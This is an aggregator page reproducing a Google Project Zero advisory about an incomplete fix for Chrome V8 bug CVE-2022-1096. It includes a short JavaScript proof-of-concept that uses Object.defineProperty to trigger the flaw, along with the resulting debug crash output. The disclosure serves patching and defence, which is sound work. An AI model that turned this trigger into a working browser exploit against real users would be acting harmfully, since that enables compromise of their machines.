Lucene search
K

Chrome CVE-2022-1096 Incomplete Fix

🗓️ 20 Jun 2022 00:00:00Reported by Google Security Research, GlazvunovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 501 Views

Chrome incomplete fix for CVE-2022-1096. Reproduction: Object.defineProperty() call vulnerability

Related
Code
`Chrome: Incomplete fix for CVE-2022-1096  
  
VULNERABILITY DETAILS  
The fix for https://crbug.com/1309225 has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.  
  
Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.  
  
  
VERSION  
Google Chrome 100.0.4896.60 (Official Build) (arm64)  
Chromium 102.0.4972.0 (Developer Build) (64-bit)  
  
  
REPRODUCTION CASE  
To make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:  
  
```  
<script>  
style = document.createElement('p').style;  
Object.defineProperty(style, 'prop', {  
value: { toString() { style.prop = 1 } }  
});  
</script>  
```  
  
The repro case above triggers the same DCHECK failure:  
  
```  
#  
# Fatal error in ../../v8/src/objects/map.cc, line 437  
# Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().  
#  
```  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2022-06-28.  
  
  
Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.  
  
  
  
Found by: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2022 00:00Current
9.2High risk
Vulners AI Score9.2
EPSS0.37656
501